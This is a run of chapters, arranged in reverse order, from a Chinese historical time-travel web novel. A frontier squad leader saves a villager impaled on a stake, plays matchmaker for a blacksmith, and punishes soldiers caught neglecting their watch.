新鲜的马勃,其实就是个圆球型的大蘑菇,可以食用的。
只有成熟后的马勃,肉质逐渐萎缩干枯,里面的孢子粉就会成熟。
药用的部分,正是包裹在里面的黑色粉末。
“那好!”
叶十三目光投向徐老六,道:“既然如此,那是再好不过的了,徐佥事多派些人手出去,尽量多采一些马皮泡儿回来,就是用不完,还可留着以后不需之备。”
其实,止血药材有很多。
但能在冬天的枯草中找得见的,也只有马皮泡儿了。
哪怕它只有羊粪蛋大小,也不难被发现。
要是能碰见更大一些的,收集起来更快。
徐老六点点头,立刻吩咐身边的田兵,带着韩老三的老大儿子韩庆,拿着一只篮子就出了屋子。
……
火盆越燃越旺,屋子里也暖和了起来。
叶十三又吩咐一个田兵,去营房背了一袋米过来。
待三碗热粥下肚,韩老三惨白的脸上,也慢慢有了一丝血色。
一锅米粥,给韩老三喂食了三碗后,剩下的大半锅,转眼间就被韩老三的另外三个儿子抢食干净。
香喷喷的米粥,对于成天啃食山药蛋的人来说,那简直就是人间美味。
韩老三的婆娘,蹲在锅边,用铁铲把锅底上的糊糊壳都刮干净吃了。
如此更好,免得洗锅。
拔出了木刺,又被喂了三碗粥下肚的韩老三,这时候也有了些气力。
“小的谢过什长大人!”
喘过两口气,韩老三又说:“小的这条命,以后就归什长大人了,什长大人让小的往东,小的就不敢往西,让小的打狗,小的绝不撵鸡,小的唯什长大人的命令是从。”
这话,真假参半。
按理说,烽燧兵和田兵,各有各的的上级管着。
就是韩老三听命于叶十三,那也是协防需求的情况下才有是事。
但韩老三不傻,借着感谢救命之恩,说一些好听的话,叶十三一高兴,就会拿出更多的粮食来给他的婆娘娃娃吃。
“好好养伤,其他事,不是你该考虑的。”
吃透了韩老三心思的叶十三,摆摆手又道:“看你的婆娘方才打下手的样子,对包扎外伤还是很麻利的,如何不就把处理一些外伤的事,让她去做呢?”
“唉!”
韩老三叹口气,皱皱眉头又道:“还真让什长大人看出来了,拙荆之前,就在军中老郎中手下打过下手,就是村里每年阉一些羊羔子,也是拙荆来干。”
“当然,这些只是帮忙的活,没有设专人去做,要是设了专人,村里就要造册发粮,这几年,粮食何其金贵啊!”
韩老三忍着背上的疼痛,一口气说了半天,额头上的汗珠就像雨一样往下掉。
“还是少说话,静养为好!”
叶十三点点头,随即又摆摆手,打断了韩老三的话,把目光投向一旁韩老三的婆娘,道:“既然你懂包扎,这就好办了,待会他们找来马皮泡儿,你只管去上药,换下来的布条,开水煮过后再用,万不可让伤口溃脓了。”
如此一番交代,叶十三这才放下心来。
他不知道,那些白布条,那可是韩老三的婆娘前几年趁着给老郎中打下手的时候,借机偷回来的。
由于没有多余的其他布料,光这些白布条也做不成衣裤,没想到在针线篮里闲置了几年的东西,今天还派上了大用场。
“请什长大人放心!”
韩老三的婆娘一边收拾着碗筷,一边把几颗山药蛋往火盆下面的灰堆里埋着,一边又应承着叶十三的话道:“穷人命硬,死不了的,娃儿把药找回来,民妇自己就能给娃他爹敷药了。”
“嗯,很好。”
叶十三点点头,这下完全松了一口气。
至于韩老三的死活,只有听天由命了。
一番安顿之后,叶十三这才离开屯田村。
到了营房,发现已经有人在等他。
第32章 死马权当活马医
走上前去,一股血腥味就扑鼻而来。
韩老三面朝下,趴在芦席上一动不动,后背正中上插了一根枣木削成的木刺。
忐忑不安的徐老六,正蹲在地上用手托着韩老三的头。
一看如此情景,叶十三不禁火冒三丈。
“流血都已结痂,为何不找郎中施救?”
一脸木讷的徐老六抬起头来,满面羞愧地说道:“叶什长,屯田村早先是有随军的郎中,但是由于边城难以生活,老郎中借着年迈,退伍回内地养老去了,就我们这些糙人粗汉,哪敢轻举妄动啊!”
不过,这徐老六还是有些经验,害怕韩老三窒息,一直拖着伤者的脑袋没让触地。
“叶什长,被伤的部位,可不敢乱动啊!”
“嗯!”
叶十三点点头,表示赞同。
蹲了下来后,伸出两根指头,分别探了探韩老三的鼻息,发现他还有心跳。
没死?
心跳虽弱,但还活着!
看韩老三的鼻孔和嘴角,并没有带着泡沫的血渗出。
这说明,木刺并没有刺穿肺泡,也没有刺进心脏。
“多久了?”
“哦,就方才午时。”
端个火盆过来,别让伤者失温,屋子太凉了。
叶十三吩咐一声,然后站了起来,比画着让他们把韩老三抬到靠窗的桌上。
地上凉,靠窗又光亮一些。
火盆还没拿过来,腾出了手的徐老六,站在一旁轻声说道:“叶什长,这后事如何准备?”
准备后事?
这老鸟,是让老子给韩老三的婆娘和娃儿们一些安抚。
但看这伤势,就是军中的郎中来了,那也是白搭。
徐老六的话,即刻又引起了韩老三婆娘的一阵干嚎。
叶十三皱着眉头,一双眼睛紧盯着韩老三背上露在外面的木刺,仿佛没有听到徐老六的问话。
“找把尖刀过来,最好是剔骨的那种。”
一名田兵立刻就出了屋子。
“还有剪刀?”
叶十三又是一声。
“有,有!”
干嚎过一阵的韩老三婆娘,赶忙爬了起来,从屋角的针线篮子里翻出一把剪刀。
叶十三看到针线篮里还有白布条。
好东西!
暗叫一声,叶十三伸手接过剪刀,又道:“烧些开水,把白布条煮一会。”
此时,火盆也端了过来,里面的牛粪燃得正旺。
也好,直接拿锅放在火盆上,把白布条直接煮进去。
剔骨尖刀也被找来,叶十三发现露在外面半尺长的木刺,已经被血浸透。
根据拦马刺原有的大致长度,看得出来,刺进韩老三后背的那部分,足有二寸多深。
这种情况,就是当场不死,那也不敢把木刺拔出来。
二寸多深的创口,木刺一旦拔出,伤者也会喷血而亡。
在众人的注视下,死马当活马医的叶十三,把剔骨尖刀在牛粪火上烧得通红。
“刺啦……”
一阵青烟冒气的同时,屋子里充满了烤肉的味道。
拼住呼吸的众人,看到叶十三手中的尖刀往韩老三的伤处一剜,另一只手握住露在外面的木刺迅速往外一拔。
“啊……”
原本已经昏死过去的韩老三,也从昏迷中被疼得大叫一声。
“活过来了?”
年老的田兵一阵激动,徐老六也是面颊猛然一抖。
“快,把锅里的布条,拧干了给我!”
用尖刀死死压着伤口的叶十三,转头看向已经沸腾着的铁锅。
猛然醒悟过来的徐老六,顾不得滚水烫手,一把捞起锅里的布条就拧了起来。
“快给我!”
叶十三扔掉拔出来的木刺,伸手接过滚烫的白布条,然后先摁住韩老三背部的伤口,用白布条绕过前胸,一圈一圈地缠了起来。
不多时,韩老三的上半身,被裹得就像一只粽子。
只要不感染就好!
松了一口气的叶十三,拿手背擦了擦额头的汗。
这些急救常识,那也是野外生存的必需技能,在前世的军事学院,急救和自救,那是一门必修课。
这一番操作,简直把在场的人都看呆了。
“叶什长……”
回过神来的徐老六,不可置信地望向叶十三,轻声道:“此人还有救?”
这一问,叶十三心里还真没底。
他知道,万一有积血没被排出,再加上发生感染的话,这韩老三必死无疑。
但愿他刚才的那一剜,一拔,紧接着一挤,又一烙的动作下,没在韩老三的胸腔里留下残血。
但眼下,就是韩老三体内的残血被挤干净了,但能不能抗感染?
这可是个致命的环节。
“要是有抗生素,给他静脉注射就好了!”
情急之下,叶十三的嘴里冒出一句古怪是话来。
抗生素?
静脉注射?
在场的人,一阵面面相觑,不知道叶十三说了些什么?
叶十三也从这些人诧异的神情中,猛然发现自己说漏了嘴。
“哦!”
叶十三面上一尬,讪笑道:“我是说,经脉要是舒展,就落不下残疾。”
伤残,在军中是最常见的了。
军伍生涯的人,对这些早都司空见惯。
就是韩老三是婆娘,此时最在意的是韩老三的那份粮饷。
只要人活着,就能领一份粮饷。
这份收入,比韩老三是否残疾更重要。
“叶什长,接下来该如何?”
还是徐老六又打开了话匣子。
他最乐意叶十三插手,无论成败,如此一来,他这个佥事都可置身事外。
韩老三死了,叶十三少不了得给些粮食安抚一下家属。
要是命大,韩老三被救活,那更是锦上添花,说明他当机立断找对了人。
面对徐老六的一问,叶十三知道这个老家伙又将了他一军。
正不知如何回答徐老六的问话时,桌上被翻了过来仰躺着的韩老三忽然睁开眼睛。
“叶什长,是您救了小的?”
这鸟人,清醒着呢,还没糊涂?
“躺着别动,以防伤口绷裂!”
叶十三连忙摆手,示意韩老三不要说话费神。
仰躺着的好处,是让一些残留的淤血,可以流出来,这样叶十三的胜算就多了一分。
“什长大人啊,神医啊,是您从鬼门关上把孩他爹拉了回来……”
回过了神的韩老三婆娘,趴在叶十三面前,把额头磕得“咚咚”直响。
四个半大小子,也趴了过来向叶十三直磕响头。
半大小子,吃死老子。
这四个吃货,也真够韩老三养活的。
叶十三从四个半大小子身上收回视线,淡淡说道:“火盆就一直放着,别让屋子太凉,但不能把韩老三放在炕上,找块门板放地上,拿两张干净羊皮铺上。”
说完,叶十三又道:“得找些药来,不然韩老三还会有性命之虞,伤口没有药不成。”
药?
郎中都走了内地养老,从哪儿去给弄药啊?
忽然,叶十三像是想起了什么?
第31章 说媒
很遗憾,就是没酒。
喝茶,总是差了那么点意思。
谈男女之事,有酒最好,这人一上头,就是怂包也能仗着酒劲挤出几句狠话来。
像郑一刀见了女人就脸红的货,就需要一壶酒来加持一下。
一顿饱食,吃得满口生香。
也许是肚里没油水太久了的缘故,这种只有一把粗盐,而缺少其他佐料的水煮羊肉,居然把叶十三和郑一刀吃得如此有味。
一盆水煮羊肉见底,田兵的烤羊腿又端了上来。
烤羊腿也是如此,没辣椒粉,没孜然粉,也是只有粗盐一把。
就连吃羊肉必不可少的大蒜,在这边城都是稀缺之物。
“叶什长,郑某实在是吃不下了!”
郑一刀睁圆了眼睛,望着桌上烤得混油滋滋都羊腿和羊排。
别说是在这屯田村了,如此奢侈,在北防军中也是难以享受到的。
既然茶足饭饱,话也直接说透了,叶十三唤来帮忙喂牲口的田兵,吩咐道:“去拿两袋粮食,和剩下的半只羊,一起送到郑前辈的住处。”
此言一出,郑一刀大惊。
嘴唇一阵蠕动,噙着满眶热泪道:“叶什长如此抬爱,这份大恩,郑某铭记于心。”
“言重了!”
叶十三摆摆手,慷慨道:“郑前辈为我铸刀分文不取,一些吃的而已,不及前辈给我的万一,还望前辈不要推辞。”
话已经说到这个份上,再推辞就显得矫情了,郑一刀激动道:“郑某这就回去,把铁匠铺后面的住处稍加收拾,就怕是委屈何姑娘了。”
说完,郑一刀也不再扭捏,目光看向何秀儿,道:“还请何姑娘在营房暂且住着,等我收拾完住处,定会花轿迎娶。”
“一切,由什长大人做主好了!”
面色绯红的何秀儿,抬头瞥了一眼郑一刀,随即低下头来又道:“再急,也不在这一时,眼下烽火台军务紧张,民女还得帮军爷们做饭。”
做饭洗衣,那只是个说法。
原以为靠着这些,来求叶十三收留,就是给叶十三当个相好的女人,那也是心有准备的。
眼下有了归宿,倒也不必如此急躁,忙过眼下这阵,也算是对叶十三的一种报答。
刚送走郑一刀,叶十三重新躺下,想好好睡个懒觉。
“什长大人,不好了!”
一名田兵,差点连鞋都跑丢了,进了营房就喊叫起来。
刚躺下的叶十三,被扰得又坐了起来,懊恼道:“狼撵你了?”
“韩老三,韩老三他……”
田兵跑得上气不接下气,站在营房门外大张着嘴,歇缓片刻,又急道:“韩老三不慎掉进壕沟,被拦马刺扎了,佥事大人,让小的禀报叶什长……”
“韩老三又是何等人物?”
叶十三心头一凛,沉声又道:“就是有人受伤,自有村里随军郎中救治,与我烽燧兵何干?”
终于缓过气来的田兵,这才拱手一礼,缓缓说道:“早间我等从岘口撤退,佥事大人留了韩老三几个继续值守,不料韩老三巡查途中,掉入壕沟被拦马刺入后背……”
掉入壕沟?
拦马刺入后背?
这都快挂了,还跑这么远路向老子报信有个屁用。
叶十三肚里已经骂开了锅,但转眼一想,这些田兵是应他的要求,这才昨夜在岘口协防值守。
眼下这人受伤严重,可能是活不过来了。
要不!
这徐老六为何要派人向他这个烽燧兵的什长禀报?
原本烽燧兵和田兵不是同属,之间毫无隶属关系啊!
但这倒霉鬼是掉入壕沟,被拦马刺所伤,而这壕沟工事,却是属于烽火台的防御工事啊!
作为责任也好,人道也罢!
眼看这人是活不成了,早早告知他这个什长,等韩老三死了,也好给家属补偿一些粮食。
叶十三手上,眼下是有些粮食。
徐老六看中的,也正是如此。
“老东西,还真有些脑子。”
叶十三骂了一句,转头向喂马的田兵道:“备马,待我前去看看。”
明知于事无补,但叶十三还是想去看看韩老三的伤情。
去村里的路上,报信的田兵又道:“这韩老三,是家里的顶梁柱啊!他要是死了,让一家老小如何活啊?”
他娘的!
果然如此。
叶十三霎时明白,让他去的目的,就是要给韩老三的家属一个交代。
按理说,韩老三真要是死了,应该记上一功。
但朝廷的嘉奖令里,只有杀死敌人才有嘉奖。
何况,这种伤亡,就是上报北防军,也没人会理会的。
稳若老狗的徐老六,对此是心知肚明。
他把安抚韩老三家属的事,巧妙地转嫁到了叶十三身上。
他知道,叶十三为人正直,且手头多少还能拿出些粮食来。
碍于田兵喋喋不休的啰嗦,叶十三反手就一马鞭,抽得胯下的战马狂奔起来。
这一鞭子,远远地就把报信的田兵给甩了。
“快看,叶什长来了!”
还没进到村里,就有田兵喊了起来。
这一喊,许多人就围了上来。
“真是叶什长到了,这下可好了!”
“赶快禀报佥事大人,就说叶什长到了。”
围过来的田兵们,七嘴八舌地嚷嚷着,有人上前牵马,有人过来坠蹬,好一副恭敬的架势。
“带路!”
叶十三人狠话不多,直截了当让田兵们带他去看韩老三。
“叶什长,这边请!”
一名年老田兵,讪笑着把叶十三带向旁边的一间屋子。
“你这短命鬼,咋那么不长眼啊……”
“你丢下一家老小,可让我们如何活呀……”
叶十三还没进屋,里面就传出一阵家属的嚎叫声。
看到叶十三眉头紧蹙,带路的年老田兵隔着门板就吼道:“老三家的,把你的尿水擦干净,叶什长来了!”
“哐当!”
屋门被从里面打开,一个披头散发的婆娘,扑上前来抱住叶十三的腿嚎叫起来:“什长大人啊!你可要给我孤儿寡母做主啊……”
“什长大人做主啊……”
四个脏得就像土蛆一样的孩子,也纷纷跑了过来,跪在地上叫嚷个不停。
“行了!”
叶十三一阵头大,沉声道:“闪开,让我过去。”
韩老三的家属,趴在地上让开一边,叶十三的目光看到铺在地上的芦席上,脸朝下趴着一个人。
想必,这就是那个韩老三了?
第30章 一切都会好起来的
不大一会,郑一刀到了。
只是派去的田兵哭丧着脸,低着头道:“抱歉,小的跑遍了村子,也没找出来半两酒来。”
是啊!
人都吃不饱肚子,哪来的粮食酿酒?
“遗憾啊!”
叶十三望着郑一刀,拱手笑道:“本想和前辈小酌几杯,无奈独缺美酒,还望前辈海涵。”
“叶什长不可如此!”
郑一刀羞愧满面,摆手急道:“能为叶什长铸刀,郑某此生足矣!”
知道叶十三夜袭鞑子营,用他铸造的那把刀杀了不少鞑子,而且还抢来一些粮食和牛羊,郑一刀激动地拄着拐子在地上直转圈。
“前辈请!”
叶十三一指桌旁的椅子,请郑一刀上坐。
“不敢,叶什长请!”
郑一刀把拐子夹在腋下,抱拳向叶十三一礼。
在黄羊岘防区,铁匠郑一刀,是叶十三唯一恭敬行礼的一个。
待二人面对面入座,不失机灵的何秀儿,立刻端上茶水摆在二人面前。
“什长大人,郑大哥,请用茶!”放下了茶碗,何秀儿双手垂着,侯在一旁就像个侍奉的丫鬟。
“冒昧一问,郑前辈贵庚?”
二人因刀结缘,但叶十三压根没提刀的事,而是问起了郑一刀的年龄。
“嗨!”
快人快语,郑一刀也不扭捏,摆摆手道:“回叶什长话,郑某今年三十有二,韶华已经不再复返啊!”
还行,不算太老。
要是把满脸的胡茬刮一下,不失为一个很有味道的沧桑大叔。
叶十三点点头,瞥了一眼旁边立着的何秀儿一眼。
“何姑娘人勤快,也是个黄连水中泡大的苦命人,未婚夫去年被鞑子杀了,如果郑前辈不嫌弃的话?”
听闻郑一刀单身一人,叶十三便有了这个想法。
“啊!”
一向耿直又豪爽的郑一刀,闻言之下被惊愣得张大了嘴,满脸通红地站了起来。
“什长大人……”
何秀儿更是一张秀脸直接红到了耳根,一扭身子就向屋外跑去。
“民女去看看羊肉煮烂了没。”
“哈哈哈!”
望着何秀儿慌乱的背影,叶十三仰头大笑起来。
这女人的心,海底的针。
之前,为了一口饭吃,何秀儿还直言可以替叶十三干任何事情。
言下之意,就是让叶十三睡她,那都是心甘情愿的。
不料,这叶十三光明正大地给她和郑一刀提了个亲,却羞得何秀儿粉面发烧。
难道这嫁人,还不比陪人睡觉好?
嫁人是一个女人的归宿,而配人睡觉,只是供别人发泄欲火而已,和卖身差不了多少。
好在,叶十三并不是个好色之徒。
也许,像何秀儿这样的,压根就不是叶十三的菜。
“叶什长,可不敢拿人家女娃儿的前程说戏啊!”
一阵局促不安之下,红着脸的郑一刀,不好意思地看向叶十三。
“你未婚,她未嫁,都是天涯沦落人,就此凑一对过日子,这有何不可?”
叶十三快人快语,直截了当把话说透。
但看到年纪三十二岁的郑一刀如此拘束起来,叶十三端起茶碗,换了话题道:“坐下说,我以茶代酒,先敬前辈一杯。”
“不敢当!”
郑一刀又是一阵慌乱,赶忙双手端起茶碗,和叶十三对饮了一碗茶水。
这憨头!
叶十三心里一阵发笑。
在前世的现代,老子十六岁就敢撩妹,十八岁就偷偷带着美女去开房。
但这古代,尤其是这等粗糙的环境,见到的女人简直惨不忍睹。
不光没有精致的容妆不说,就是素面朝天,也没见一个能让人动心的。
再别扯什么口红啊!丝袜什么的。
性感,在这蛮荒十足的朝代,简直就是个不存在的词。
老子不是不好色,而是所见到的这些女人,简直就是难以下咽。
忍忍吧!
老子是有品味,有追求是主,岂是连母羊都不放过的两脚畜生?
“什长大人,羊肉炖好了!”
突然,羞怯而去的何秀儿,端着一盆水煮羊肉,低着头来到桌旁。
“民女是煮熟了,但不知道味道如何?”
放下盆子的何秀儿,低着头两手捏着衣角,局促得不知所措。
“就这样吃啊?”
叶十三用指背敲敲桌面,不解地望向低着头的何秀儿。
“民女该死,民女该死!”
何秀儿一抬头,发现桌上居然无碗无筷,面上又是一红,便飞快地跑去伙房拿碗筷。
“哈哈哈!”
方才还局促不安的郑一刀,也忍不住大笑起来。
成了!
凭感觉,这公母都对上眼了?
这些细节,哪能逃过叶十三的法眼。
说明,何秀儿是个稳重女子。
之前为了一口活命的饭,提出侍奉他,那只是为了活下去而已。
但面对一个男人时,她也有着任何女人都有的憧憬和情愫。
毕竟,她还是个完璧之身的未婚女子。
但也从这一点,她更能看出叶十三是个堂堂正正的人。
叶十三牵的线,对她来说,毫不亚于最高长官的赐婚。
待何秀儿拿来了碗筷,给二人碗里盛上带汤的羊肉时,气氛这才缓解了一些。
喷香的羊肉味道,霎时就遮掩掉了方才的尴尬。
“好香啊!”
片刻间,一大碗羊肉下肚的郑一刀,拱手道:“郑某十分感谢叶什长的盛情款待,说实话,如此香的羊肉,郑某人好久都没吃到过了,记得上次吃肉,还是几年前在军中的事。”
这话,叶十三信。
别看这些军垦的田兵们种着庄稼,也有放牧的营生,但一切产出,都由军部支配。
边区的日子,还真是苦。
“好吃就多吃一点。”
何秀儿依旧低着头,拿过郑一刀刚放下的空碗,又给盛了满满一碗带汤羊肉。
“有劳何姑娘了!”
郑一刀大嘴一咧,不似之前那般拘束。
“可着劲吃,管够!”
叶十三也吃完了一碗,何秀儿接过空碗及时给添了。
待一块炖得烂透的羊肉下了肚,叶十三说道:“也不是什么款待,何秀儿来军营找活干,这也不是个长久的办法,既然郑前辈也是孑身一人,真该成个家了。”
“可我……”
郑一刀面上又是一红,停了筷子,讪讪道:“打铁的营生,一年分不了几个饷钱,就是粮食,都知道的,吃个饱饭都难。”
“这我知道!”
叶十三放下了筷子,擦擦嘴,又喝了一口解腻的浓茶,又道:“近十几年来,元蒙鞑子屡犯我大夏边境,导致我边民生产受阻,自身性命也是朝不保夕,我大夏千里沃野,由此荒废不少,只有将那些元蒙鞑子打服,打怕,我大夏边民才可安居乐业。”
“谈何容易啊!”
郑一刀也放下筷子,满脸都是悲愤之色。
凝望窗外片刻,郑一刀缓缓说道:“朝中局势,派系林立,各权贵忙于争权夺势,有谁把黎民百姓的疾苦放在心上?”
朝中势力的明争暗斗,这是每个朝代都避免不了的。
门阀和世家之间的夺权,各皇子之间的夺嫡,都是天下动乱的罪魁祸首。
加上朝廷昏聩不力,各邻国就会虎视眈眈,伺机吞并,搅扰得边境线上难有宁日。
“一切都会好起来的!”
叶十三说完这句,自己都觉得自己说了句屁话。
墙上画饼的这类玩法,那是高层阶级对底层常用的卑劣手段。
可他此时,也大言不惭地来了这么一句。
难道,他自己真有向别人画饼的潜质和资格?
要知道,那可是上流阶层才玩的手段。
第29章 怕死是人的本性
屯田村,军垦部。
带人在岘口值守了一夜的徐老六,刚在热乎乎的火炕上躺下。
“佥事大人!”
有田兵慌忙来禀。
“何事惊慌?”
差点被惊得从火炕上蹦起来的徐老六,急忙翻身下炕就去找鞋穿。
这几天,由于鞑子进犯,田兵都成了惊弓之鸟。
“烽火台那边来人了。”
报信的田兵一脸古怪的表情,站在门口望着徐老六。
“快请!”
徐老六不假思索,随口就让请来人过来。
叶十三的人,向来没小事叨扰。
这非常时期,任何事都是头等大事。
“佥事大人,救命啊!”
传话的田兵还没离开,张寡妇的哭腔就传了过来。
“这婆娘!”
正在穿鞋的徐老六一怔,随口就骂道:“你这个丧门星,大清早鬼嚎个甚?”
“徐大人救我!”
嚎叫声刚落,一个披头散发的人影,一把推开门口站着的田兵,扑了进来差点就把炕沿上正在穿鞋的徐老六撞翻。
“大人……”
跪在地上紧抱着徐老六一只脚的张寡妇,仰起一张油汪汪的银盆大脸,急叫道:“他们杀了张由甲,又要祸害民妇,您得为民妇做主啊!”
他们杀了张由甲?
张由甲不是烽火台上的步弓手吗?
难道是鞑子偷袭?
“快,派人通知叶什长,其他人立刻出动,跟本佥事前去迎敌……”
又一次被差点惊得尿了裤裆的徐老六,一脚拨开扑在地上的张寡妇,顺手摸起炕头放着的一把刀,急匆匆就要出门。
“徐佥事稍安勿躁!”
突然眼前出现一个人影,立在门外把徐老六给挡了回来。
“李富贵,是鞑子又来了?”
看清来人后,徐老六张口就问。
李富贵摆摆手,神色怪异地望着徐老六,话中有话地说道:“昨夜,什长大人和我们在崖顶抗击偷袭的鞑子,徐佥事也带着弟兄们在岘口辛苦了一夜,可这婆娘,却和烽火台值夜哨的张由甲,在燧道里快活……”
“这……”
听清了李富贵所说,徐老六差点眼珠子掉地。
“你……好大的胆子?”
徐老六转过头去,指着炕沿前地上的张寡妇,怒吼道:“大敌当前,你们居然如此不顾军纪国法,毫无廉耻还有此等恶行,与通敌有何不同?”
也许是徐老六有短处被张寡妇攥着,怒斥之余,自己也不免心虚起来。
李富贵冷冷看着眼前的二人,思忖片刻,道:“张寡妇是屯田村的人,叶什长不便执行军法,他说让徐佥事你自己看着办吧!”
自己看着办?
这一下,徐老六慌乱了。
处罚得轻了,在叶十三眼里,难免有包庇之嫌。
要是处罚得重了,就张寡妇那身肥肉,他这个做佥事的,平时也没少拱。
该死的骚婆娘,你偷谁不好?
你她娘的偏偏去偷烽燧兵,这个节骨眼上,大敌当前扰乱军心,岂不是找死吗?
你以为叶十三和那些连母羊都不放过的烂渣兵一样?
你以为曾经傍过高五那个混蛋,就可以自由出入烽火台了?
混账东西!
烽火台那不是屯田村的土阁楼,那是朝廷边境线上的军事设施。
是北防军的重要防御工事。
你这个烂货、骚货加蠢货,你这不是摆明了拉老子下水吗?
肚里暗骂不止,脑子里权衡二三的徐老六,顿时把心一横,面颊一阵急抖,吼道:“来人,把这婆娘押下去,扎住两只裤腿,塞一只猫崽进去……”
“不要啊大人……”
此言一出,张寡妇就像看到了鬼一样,两手乱摆着嚎叫起来。
要知道,这刑法,虽然比不上浸猪笼要人的命,但塞一只猫崽子到裤裆里,那滋味可真不敢往下想……
张寡妇撕心裂肺的惨嚎声,逐渐小了下来。
徐老六知道,这个靠着皮肉混吃喝的寡妇,怕是已经昏死过去。
“蠢货,该死!”
恶狠狠地骂了一句,困到了极点的徐老六,心里一块石头终于落地。
伸了个懒腰打了个哈欠后,又爬上火炕这又睡了过去。
……
烽火台顶上,五人席地而坐。
叶十三冷冷的目光从每一个人的脸上缓缓扫过。
良久,道:“我知道,你们之前,是没把这个营生当做一回事。”
“这些,我不怪你们!”
“自己太弱,敌人又强,怕死是人的本性。”
“可眼下,怕死没用,逃脱更是不可能的,我们只有抱团,只有拧成一股绳来,这样力量才会更加强大。”
“让战友去送死,自己在后面安乐偷生,这不是人,是畜生行径。”
“老子手中的刀,不光杀敌,也杀败类!”
叶十三阴着一张脸,声色俱厉地怒批了一通。
“什长大人,小的知错了……”张发低垂着脑袋,就像一只瘟鸡。
“行了!”
叶十三摆摆手,像驱赶眼前的蚊蝇一般。
“你们四个,自行部署一下,日后如何值守,商量好了找我。”
叶十三说完,瞥了一眼木雕一样在寒风中发抖的四人。
“午饭,我会让何秀儿送到这边的。”
不下气力整治,这些人始终和他不是一条心。
他要让这些人对他彻底臣服,彻底害怕,也彻底尊重。
“从即刻起,分出两人,值流动哨。”
叶十三想起那个临时窝棚,又补充了一句。
回到营房,这才觉得累了。
“什长大人回来了!”
已经梳洗得十分干净的何秀儿,一打照面,就跪下来向叶十三行礼。
何秀儿的这一梳洗打扮,硬是让叶十三一时没认出来。
昨天那副邋遢样,一直在叶十三的脑海中挥之不去。
“哦!”
叶十三一怔,这才反应过来。
“去,烧水,我要泡泡脚。”
“遵命,请大人稍后,热水在锅里有的,民女这就给大人端来。”
低着头的何秀,脸上一喜,连忙起身就去给叶十三端洗脚水。
当那双牛皮靴子从脚上被何秀儿脱下来的时候,连叶十三自己都觉得尴尬。
那味,真他娘的酸爽!
“什长大人,您这脚,都快捂烂了!”
何秀儿屏主呼吸,把叶十三的一双大脚,缓缓摁进脚盆的热水中。
能不烂吗?
发配充军的路上,不知道走烂了多少双布鞋?
到了这里,鞋是有了,也不乏结实,但这牛皮缝制的军靴,穿脚上真他娘的不舒服。
捂脚不说,还硬。
“什长大人这脚,应该每天晚上有热水泡泡,再涂抹上羊油,就会更好一些的。”
何秀儿认真地揉搓着叶十三的脚,好像对脚的保养还颇有心得。
这脚的痒,被何秀儿一阵揉搓下是止住了。
但叶十三的心里,却又痒了起来。
“你今年十七?”
叶十三好奇心顿起。
“嗯!”
何秀儿面上一红,应了一声后又低下头来。
“未婚夫死了?”
叶十三接着又是一问。
“死了。”
提到未婚夫,何秀儿一脸茫然地抬起头来,喃喃道:“民女还未出阁,就背了个寡妇的名头,村里人都说民女是个不祥之人。”
“哦!”
叶十三心不在焉地应了一声,半眯着眼睛似乎在想心事。
何秀儿偷窥叶十三一眼,又道:“什长大人杀了如此多的鞑子,也算是给民女的未婚夫报了仇,如此大恩,民女无以为报……”
“行了!”
叶十三摆摆手,他知道何秀儿要说什么?
缓缓睁开眼睛,盯着何秀儿发育欠佳的胸脯一阵发呆。
常年肚子都吃不饱的女人,谈何发育?
似有所悟的叶十三,淡淡道:“要真感谢我杀了那些鞑子,还得感谢我的那把刀。”
刀?
这世上刀多了去了,难道刀会自己杀人?
听得一头雾水的何秀儿缓缓抬头,茫然道:“民女不明白什长大人的意思,还望什长大人示下!”
“这刀啊!”
叶十三停顿片刻,又道:“是屯田村铁匠郑一刀打的,这还真得要感谢他了。”
说完,叶十三冲着屋外喊道:“来人!”
话音一落,徐老六留下帮忙喂马的两个田兵,屁颠屁颠就跑了过来。
“什长大人有何吩咐?”
望着眼前站着的两个田兵,叶十三道:“去一人到村里,把郑一刀给我请过来,最好再弄些酒来。”
说完,叶十三把目光投向另外一个田兵脸上,道:“挑只羊宰了,半只你生火烤了,另外半只,待会让何秀儿给清炖了。”
第28章 军法处置,祭旗明志
趁着天还没大亮,叶十三带着三人摸回了烽火台。
“砰砰砰……”
敲了半天门,通道里才有了脚步声。
打着哈欠的张由甲,这才慢腾腾地给开了门。
“有又何事?”
睡眼惺忪的张由甲,没看清眼前的来人,张嘴就又问道:“不是说你们守着暗哨,以防鞑子攀岩突袭吗?你小子是不是偷懒,找借口回来补觉?”
“老东西!”
上前叫门的马成,霎时脸都绿了,怒道:“睁大你的狗眼看看,老子的溜回来的吗?”
“混账东西!”
叶十三眉头一挑,一把推开挡在身前的张由甲和马成,率先就进了烽火台里面。
“谁呀?”
一个女人的声音,从燧道的牛粪火塘处传了过来。
叶十三定睛一看,光溜着身子的张寡妇,正把半片破毡扯起来往身上盖,嘴里还嘟囔道:“是不是你们那个什长被鞑子给弄死了,你们跑回来报信搬救兵?”
叶十三强忍着心头涌起的爆棚杀机,一步一步顺着步梯上了烽火台顶上。
“你他娘的给老子起来!”
一到顶上,怒不可遏的叶十三,一脚就踹向裹着一片破毡,蜷缩在垛口下睡觉的张发。
要不是这俩货一个在顶上睡懒觉,一个在下面燧道偷女人,哪有他们回来时不被发现的?
“好啊!”
在顶上的叶十三,同时也听到下面丁威在骂。
“老子跟着什长大人野外挨冻受累地值守抗敌,你这老东西倒好,搂着这老娘们在火堆旁快活。”
“切!老娘只是来借东西,天黑路滑,这才在你们这鬼坑道里受了一夜的罪,就是以前,高五那死鬼请老娘,老娘都不来这鬼地方。”
好像是张寡妇不屑的声音,开始回击丁威了。
“嗷嗷!”
被叶十三一脚踹醒了的张发,第一反应就在叶十三面前一个驴打滚,然后急忙翻身跪了下来。
“什长大人赎罪,小的这是太困了,一不小心就睡了过去。”
“哼!”
叶十三冷哼一声,沉声斥道:“一会再收拾你,跟老子下去。”
鸟人!
叶十三背起双手转过身子,肚里又嘀咕道:“看来,像张由甲这种人,是留不得了,不知道感恩的人,就是头狼,保不准哪一天,这货会在背后捅刀子的。”
下到烽火台的燧道,瞥了一眼火堆旁扔着的几块啃得干净的羊骨头。
他娘的,老子冒死从鞑子手里抢来的食物,居然喂了张寡妇这种烂婆娘。
见到叶十三下来,张由甲一脸尴尬,讪笑道:“她,就是来借东西的,天晚了,就……”“啪!”
张由甲话还没说完,老脸上就挨了叶十三的重重一抽。
“咚……”
陀螺一样,接连转了三圈的张由甲,喷出一口碎牙后就栽倒在地上。
“你……你打人……”
面对张由甲的质问,叶十三嘴角扬起一丝冷笑,向前走了一步,道:“打不得吗?”
“呸!”
